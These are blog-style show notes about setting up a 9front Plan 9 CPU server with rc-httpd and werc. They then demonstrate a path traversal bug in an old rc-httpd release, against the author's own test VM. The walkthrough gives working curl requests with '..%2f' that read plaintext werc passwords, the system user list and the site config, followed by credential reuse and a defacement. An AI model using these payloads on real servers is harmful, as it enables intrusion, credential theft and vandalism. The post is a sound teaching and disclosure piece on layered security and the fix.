<h1 id="followup-for-hpr3675-installing-a-plan-9-cpu-server-plan-9-web-server-clarifications-on-the-path-traversal-bug-private-namespaces-to-the-rescue-web-application-security-models">Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models</h1>
<hr />
<h1 id="installing-plan-9-with-libvirt">Installing Plan 9 with libvirt</h1>
<pre class="sh"><code>[root@localhost]# virt-install -n 9pwn \
--description &quot;pre-patched rc-httpd&quot; \
--osinfo=unknown \
--memory=4096 \
--vcpus=4 \
--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \
--graphics spice \
--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \
--network bridge=virbr0

[root@localhost]# virt-viewer 9pwn
</code></pre>
<p>How I find the IP of my guests and add it to my /etc/hosts for faster access.</p>
<pre class="sh"><code>[root@localhost]# virsh domiflist 9pwn
 Interface   Type     Source   Model   MAC
----------------------------------------------------------
 vnet3       bridge   virbr0   e1000   52:54:00:43:8a:50

[root@localhost]# arp -e | grep 52:54:00:43:8a:50
192.168.122.20           ether   52:54:00:43:8a:50   C                     virbr0

[root@localhost]# echo cirno 192.168.122.20 &gt;&gt; /etc/hosts
</code></pre>
<p>Proceed as normal with a 9 installation</p>
<hr />
<h1 id="set-up-cpu-server-with-rc-httpd-and-werc">Set up CPU server with rc-httpd and werc</h1>
<p><a href="https://0x19.org/posts/2022-09-03.php">I wrote about configuring a CPU server</a> and also mirrored the notes at <a href="https://9.0x19.org/9notes/9front-web-server">my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it's fine)</a> I've snarfed+pasted it here for the sake of completeness and modified it slightly so that it's more accessible for other people. I've also revised these notes so that they're less-broken. I may or may not update them.</p>
<p>I'm using <a href="https://9front.org">9front</a> for this. It has more secure authentication protocols when it comes to remotely connecting.</p>
<h2 id="configuring-a-cpu-server">Configuring a CPU server</h2>
<h3 id="add-users-to-file-server">Add users to file server</h3>
<p>Connect to the file server and add a new user called <code>&lt;ExampleUser&gt;</code> who is in the groups <code>sys</code>, <code>adm</code>, and <code>upas</code></p>
<pre class="sh"><code>term% con -C /srv/cwfs.cmd
newuser &lt;ExampleUser&gt;
newuser sys +&lt;ExampleUser&gt;
newuser adm +&lt;ExampleUser&gt;
newuser upas +&lt;ExampleUser&gt;
</code></pre>
<p>Reboot and set <code>user=&lt;ExampleUser&gt;</code> when prompted at boot time.</p>
<h3 id="configure-users-environment">Configure user's environment</h3>
<p>This is similar to <code>cp -r /etc/skel /home/&lt;ExampleUser&gt;</code> on a UNIX system.</p>
<pre class="sh"><code>/sys/lib/newuser
</code></pre>
<h3 id="configure-headless-booting">Configure headless booting</h3>
<p>Mount the boot partition:</p>
<pre class="sh"><code>term% 9fs 9fat
</code></pre>
<p>edit the boot config, <code>/n/9fat/plan9.ini</code></p>
<pre class="sh"><code>bootfile=9pc64
nobootprompt=local!/dev/sdC0/fscache
mouseport=ps2
monitor=vesa
vgasize=1024x768x14
user=&lt;ExampleUser&gt;
tiltscreen=none
service=cpu
</code></pre>
<h3 id="add-hostowner-info-to-nvram">Add hostowner info to nvram</h3>
<p>Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The <code>user=</code> line in our bootprompt sets the hostowner.</p>
<p>For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner's key to nvram.</p>
<pre class="sh"><code>term% nvram=/dev/sdF0/nvram auth/wrkey
bad nvram des key
bad authentication id
bad authentication domain
authid: &lt;ExampleUser&gt;
authdom: cirno
secstore key: &lt;press the return key if you do not want to type this at boot time&gt;
password: &lt;make it 8 chars&gt;
</code></pre>
<h3 id="configure-auth-server">Configure auth server</h3>
<p>In order to connect to the system over the network, the new user must be added to the auth server.</p>
<pre class="sh"><code>term% auth/keyfs
term% auth/changeuser &lt;ExampleUser&gt;
Password: &lt;what you put earlier&gt;
Confirm password:
Assign new Inferno/POP secret? [y/n]: n
Expiration date (YYYYMMDD or never) [never]: never
Post id:
User&#39;s full name:
Department #:
User&#39;s email address:
Sponsor&#39;s email address:
user &lt;ExampleUser&gt; installed for Plan 9
</code></pre>
<h3 id="configure-permissions">Configure permissions</h3>
<p><code>/lib/ndb/auth</code> is similar to a <code>/etc/sudoers</code>. This configuration for the new user allows him to execute commands as other users <em>except</em> for the <code>sys</code> and <code>adm</code> users (but sys and adm are more like groups but who cares).</p>
<p>append to <code>/lib/ndb/auth</code></p>
<pre class="sh"><code>hostid=&lt;ExampleUser&gt;
    uid=!sys uid=!adm uid=*
</code></pre>
<p>then reboot</p>
<h3 id="test-if-it-worked-with-drawterm">Test if it worked with drawterm</h3>
<p>The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won't work.</p>
<pre class="sh"><code>$ /opt/drawterm -u &lt;ExampleUser&gt; -h example.com -a example.com -r ~/
</code></pre>
<h2 id="configure-rc-httpd">Configure rc-httpd</h2>
<p>edit <code>/rc/bin/rc-httpd/select-handler</code></p>
<p>this file is something like <code>/etc/httpd.conf</code> on a UNIX system.</p>
<pre class="sh"><code>#!/bin/rc
PATH_INFO=$location

        switch($SERVER_NAME) {
        case example.com
               FS_ROOT=/sys/www/$SERVER_NAME
               exec static-or-index

        case *
              error 503
}
</code></pre>
<p>To listen on port 80 and run the handler on port 80:</p>
<pre class="sh"><code>cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80
cpu% chmod +x /rc/bin/rc-httpd/select-handler
</code></pre>
<p>Reboot and test.</p>
<h3 id="ssl">SSL</h3>
<p>I will never give money to the CA racket. Self-signed is the way to go on systems that don't support <a href="https://acme.sh">acme.sh, the only ACME client I use for obtaining free SSL certs.</a></p>
<p>Generate and install:</p>
<pre class="sh"><code>cpu% ramfs -p
cpu% cd /tmp
cpu% auth/rsagen -t &#39;service=tls role=client owner=*&#39; &gt; key
cpu% chmod 600 key
cpu% cp key /sys/lib/tls/key
cpu% auth/rsa2x509 &#39;C=US CN=example.com&#39; /sys/lib/tls/key | auth/pemencode CERTIFICATE &gt; /sys/lib/tls/cert
cpu% mkdir /cfg/$sysname
cpu% echo &#39;cat /sys/lib/tls/key &gt;&gt; /mnt/factotum/ctl&#39; &gt;&gt; /cfg/$sysname/cpustart
</code></pre>
<p>Now add a listener in <code>/rc/bin/service/tcp443</code>:</p>
<pre class="sh"><code>#!/bin/rc
exec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*
</code></pre>
<p>And make it executable:</p>
<pre class="sh"><code>cpu% chmod +x /rc/bin/service/tcp443
</code></pre>
<h2 id="install-and-configure-werc">Install and configure werc</h2>
<pre class="sh"><code>cpu% cd
cpu% mkdir /sys/www &amp;&amp; cd www
cpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz  &gt; werc-1.5.0.tgz
cpu% tar xzf werc-1.5.0.tgz
cpu% mv werc-1.5.0 werc

# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK
# EG. DIRDIR, BLAGH, ETC
# DON&#39;T DO THIS, JUST USE DRAWTERM OVER THE NETWORK
# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK
# PLEASE I BEG YOU
cpu% cd .. &amp;&amp; for (i in `{du www | awk &#39;{print $2}&#39;}) chmod 777 $i

cpu% cd werc/sites/
cpu% mkdir example.com
cpu% mv default.cat-v.org example.com
</code></pre>
<p>now re-edit <code>/rc/bin/rc-httpd/select-handler</code></p>
<pre class="sh"><code>#!/bin/rc
WERC=/sys/www/werc
PLAN9=/
PATH_INFO=$location
switch($SERVER_NAME){
case cirno
        FS_ROOT=$WERC/sites/$SERVER_NAME
        exec static-or-cgi $WERC/bin/werc.rc
case *
        error 503
}
</code></pre>
<p>Test the website. Werc is fiddly. Werc is archaic. Werc is fun.</p>
<hr />
<h1 id="path-traversal-vulnerabilities-in-old-versions-of-rc-httpd">Path traversal vulnerabilities in old versions of rc-httpd</h1>
<p>Using release <a href="https://9front.org/releases/2021/07/18/0/">COMMUNITY VS INFRASTRUCTURE</a>, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.</p>
<h2 id="the-vulnerability">The vulnerability</h2>
<pre class="sh"><code># get list of werc admin users
[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members
pwn
# get that werc user&#39;s password
[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password
supersecret
</code></pre>
<p>Wait, the passwords for werc are stored in plain text? Let's log in</p>
<pre class="sh"><code>[root@localhost]# firefox http://cirno/_users/login
</code></pre>
<p>Now let's see if any of the werc users are also system users:</p>
<pre class="sh"><code># let&#39;s enumerate users
[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users
-1:adm:adm:glenda,pwn
0:none::
1:tor:tor:
2:glenda:glenda:
3:pwn:pwn:
10000:sys::glenda,pwn
10001:map:map:
10002:doc::
10003:upas:upas:glenda,pwn
10004:font::
10005:bootes:bootes:
</code></pre>
<p>Let's hope that no one is re-using credentials. Let's check just to be sure</p>
<pre class="sh"><code>$ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G
cpu% cat /env/sysname
cirno
cpu%
</code></pre>
<p><strong>This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords</strong></p>
<h2 id="how-the-static-or-cgi-handler-works">How the static-or-cgi handler works</h2>
<p>rc-httpd calls various <em>handler</em> scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the <code>static-or-cgi</code> script.</p>
<p>I will compile these archaic rc scripts into pseudo code for the listener.</p>
<p>The <code>static-or-cgi</code> handler (the handler specified in the httpd config) is simple:</p>
<pre class="sh"><code>#!/bin/rc
cgiargs=$*

fn error{
    if(~ $1 404)
        exec cgi $cgiargs
    if not
        $rc_httpd_dir/handlers/error $1
}

if(~ $location */)
    exec cgi $cgiargs
if not
    exec serve-static
</code></pre>
<ol>
<li>If the requested file exists, call the <code>cgi</code> handler and pass it arguments.</li>
<li>If the requested file does not exist, call the <code>serve-static</code> handler.</li>
</ol>
<h2 id="how-the-serve-static-handler-works">How the serve-static handler works</h2>
<p>The problem lies in the <code>serve-static</code> handler:</p>
<pre class="sh"><code>#!/bin/rc
full_path=`{echo $&quot;FS_ROOT^$&quot;PATH_INFO | urlencode -d}
full_path=$&quot;full_path
if(~ $full_path */)
    error 503
if(test -d $full_path){
    redirect perm $&quot;location^&#39;/&#39; \
        &#39;URL not quite right, and browser did not accept redirect.&#39;
    exit
}
if(! test -e $full_path){
    error 404
    exit
}
if(! test -r $full_path){
    error 503
    exit
}
do_log 200
switch($full_path){
case *.html *.htm
        type=text/html
case *.css
        type=text/css
case *.txt *.md
        type=text/plain
case *.jpg *.jpeg
        type=image/jpeg
case *.gif
        type=image/gif
case *.png
        type=image/png
case *
        type=`{file -m $full_path}
}
if(~ $type text/*)
    type=$type^&#39;; charset=utf-8&#39;
max_age=3600    # 1 hour
echo &#39;HTTP/1.1 200 OK&#39;^$cr
emit_extra_headers
echo &#39;Content-type: &#39;^$type^$cr
echo &#39;Content-length: &#39;^`{ls -l $full_path | awk &#39;{print $6}&#39;}^$cr
echo &#39;Cache-control: max-age=&#39;^$max_age^$cr
echo $cr
exec cat $full_path
</code></pre>
<ol>
<li>encode the full file path into a url</li>
<li>if the url points to a file outside of <code>'*/'</code>, the document root, error 503</li>
<li>if the url is broken, exit</li>
<li>if the url points to a file that neither exists nor is readable, error 503</li>
<li>if you haven't exited by now, serve the file</li>
</ol>
<p>The problem is no sanitization. The script checks for files in the current directory <em>BUT NOT BEFORE ENCODING THE URL STRING</em>.</p>
<p>The urlencode command works by decoding encoded characters.</p>
<pre class="sh"><code>cpu% echo &#39;http://cirno/..%2f&#39; | urlencode -d
http://cirno/../
</code></pre>
<p>Does <code>../</code> exist in <code>*/</code> ? the answer is yes.</p>
<p><code>..</code> is a directory contained inside of <code>*/</code></p>
<p><code>*/../</code> <em>is</em> the current working directory.</p>
<h2 id="how-they-fixed-it"><a href="ttps://git.9front.org/plan9front/plan9front/241667b933ff5bacb9a3974f6877fb8aad78bed3/commit.html">How they fixed it</a></h2>
<p>Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.</p>
<hr />
<h1 id="other-optional-bad-config-options-in-werc">Other (optional) bad config options in werc</h1>
<p>rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.</p>
<p>Additionally I have modified the DAC for /sys/www to allow werc, a child process of <code>rc-httpd</code> to write to disk. rc-httpd runs as the <code>none</code> user so it's not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it's the worst idea in the history of all time ever.</p>
<p>I enabled the dirdir and blagh modules as if I were the type of admin who does a <code>chmod -R 777 /var/www/htdocs</code> because <q>that's what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.</q></p>
<p>Let's pretend that I'm not the admin of this system and scrape the werc config just to see if the hypothetical <em>badmin</em> has these modules enabled.</p>
<pre class="sh"><code># get config
[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config
masterSite=cirno
siteTitle=&#39;Werc Test Suite&#39;
conf_enable_wiki
wiki_editor_groups admin
</code></pre>
<p>Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let's modify <code>cirno/index.md</code> to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.</p>
<pre class="sh"><code>[root@localhost]# curl -s cirno | pandoc --from html --to plain
quotes | docs | repo | golang | sam | man | acme | Glenda | 9times |
harmful | 9P | cat-v.org

Related sites: | site updates | site map |

Werc Test Suite

-   &#x203A; apps/
-   &#x203A; titles/

SECURITY ADVISORY:

lol this guy still hasn&#39;t figured out the ..%2f trick

Powered by werc
</code></pre>
<h2 id="modifying-werc-to-support-password-hashing">Modifying werc to support password hashing</h2>
<p>Adding password hashes isn't too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: <code>bin/werclib.rc</code> and <code>bin/aux/addwuser.rc</code></p>
<pre class="sh"><code>% echo &#39;supersecret&#39; | sha1sum -2 512
</code></pre>
<hr />
<h1 id="private-namespaces-to-the-rescue">Private namespaces to the rescue</h1>
<p>Luckily enough, the webserver runs as the <code>none</code> user with it's own namespace.</p>
<h2 id="comparing-the-hostowners-namespace-and-none-users-namespace">Comparing the hostowner's namespace and none user's namespace</h2>
<p>I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.</p>
<pre class="sh"><code>cpu% ns | sort &gt; cpu.ns
cpu% ps -a | grep -e &#39;listen.*80&#39; | grep -v grep
none            355    0:00   0:00      132K Open     listen [/net/tcp/2 tcp!*!80]
cpu% ns 355 | sort &gt; listen.ns
cpu% diff -u listen.ns cpu.ns
--- listen.ns
+++ cpu.ns
@@ -6,17 +6,29 @@
 bind  /amd64/bin /bin
 bind  /mnt /mnt
 bind  /mnt/exportfs /mnt/exportfs
+bind  /mnt/temp/factotum /mnt/factotum
 bind  /n /n
 bind  /net /net
 bind  /root /root
+bind -a &#39;#$&#39; /dev
 bind -a &#39;#I&#39; /net
+bind -a &#39;#P&#39; /dev
+bind -a &#39;#S&#39; /dev
 bind -a &#39;#l&#39; /net
+bind -a &#39;#r&#39; /dev
+bind -a &#39;#t&#39; /dev
+bind -a &#39;#u&#39; /dev
+bind -a &#39;#u&#39; /dev
 bind -a &#39;#&#xA4;&#39; /dev
 bind -a &#39;#&#xB6;&#39; /dev
+bind -a &#39;#&#x3C3;/usb&#39; /dev
+bind -a &#39;#&#x3C3;/usbnet&#39; /net
 bind -a /rc/bin /bin
 bind -a /root /
+bind -b &#39;#k&#39; /dev
 bind -c &#39;#e&#39; /env
 bind -c &#39;#s&#39; /srv
+bind -c /usr/pwn/tmp /tmp
 cd /usr/pwn
 mount -C &#39;#s/boot&#39; /n/other other
 mount -a &#39;#s/boot&#39; /
@@ -26,4 +38,4 @@
 mount -a &#39;#s/slashmnt&#39; /mnt
 mount -a &#39;#s/slashn&#39; /n
 mount -aC &#39;#s/boot&#39; /root
-mount -b &#39;#s/factotum&#39; /mnt
+mount -b &#39;#s/cons&#39; /dev
</code></pre>
<p>The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:</p>
<ul>
<li>'#$' PCI interfaces</li>
<li>'#P' APM power management</li>
<li>'#S' storage devices</li>
<li>'#r' realtime clock and nvram</li>
<li>'#t' serial ports</li>
<li>'#u' USB</li>
<li>'#&#x3C3;' /shr global mountpoints</li>
<li>'#k' keyboard</li>
<li>/tmp directories</li>
<li>'#s' various special files relating to services</li>
</ul>
<p>The <code>listen</code> process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by <code>none</code>.</p>
<hr />
<h1 id="closing">Closing</h1>
<p>An argument could be maid that the rc-httpd vulnerability was "not a bug" because "namespaces are supposed to segregate the system".</p>
<p>I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; <em>all</em> user input is dangerous and <em>all</em> user input that becomes remote code execution <em>always</em> results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.</p>
<p>For example, when I write PHP applications, I consider things in this order:</p>
<ol>
<li>don't pass unnecessary resources into the document root via symlinks, bind mounts, etc.</li>
<li>never ever use <code>system()</code> in a context where user input can ever be passed to the function in order to avoid shell escapes</li>
<li>sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.</li>
<li>fire up a kali linux vm and beat the test server half to death</li>
<li>iterate upon my ignorance</li>
<li>doubly verify DAC just to be sure</li>
<li>re-check daemon configs to make sure I'm not doing anything stupid</li>
<li>FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed</li>
</ol>
<p>And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don't make it possible to enumerate users, rate limiters, etc.</p>
<p>Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.</p>
<p>Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax <code>/etc/passwd</code> out of the server. Now try <code>php-fpm</code> instead of <code>mod_php</code> or vice-versa. You'll be surprised when even MAC doesn't protect your system.</p>
<p>Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had <em>real</em> distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?</p>
<p>Plan 9 is perfect for this type of research. I'm considering writing an httpd in C and a werc-like (minus the parts I don't like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.</p>
<p>I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:</p>
<blockquote>
<p>Criticism: This program/OS/whatever sucks</p>
</blockquote>
<blockquote>
<p>Response: I know, help me fix it.</p>
</blockquote>
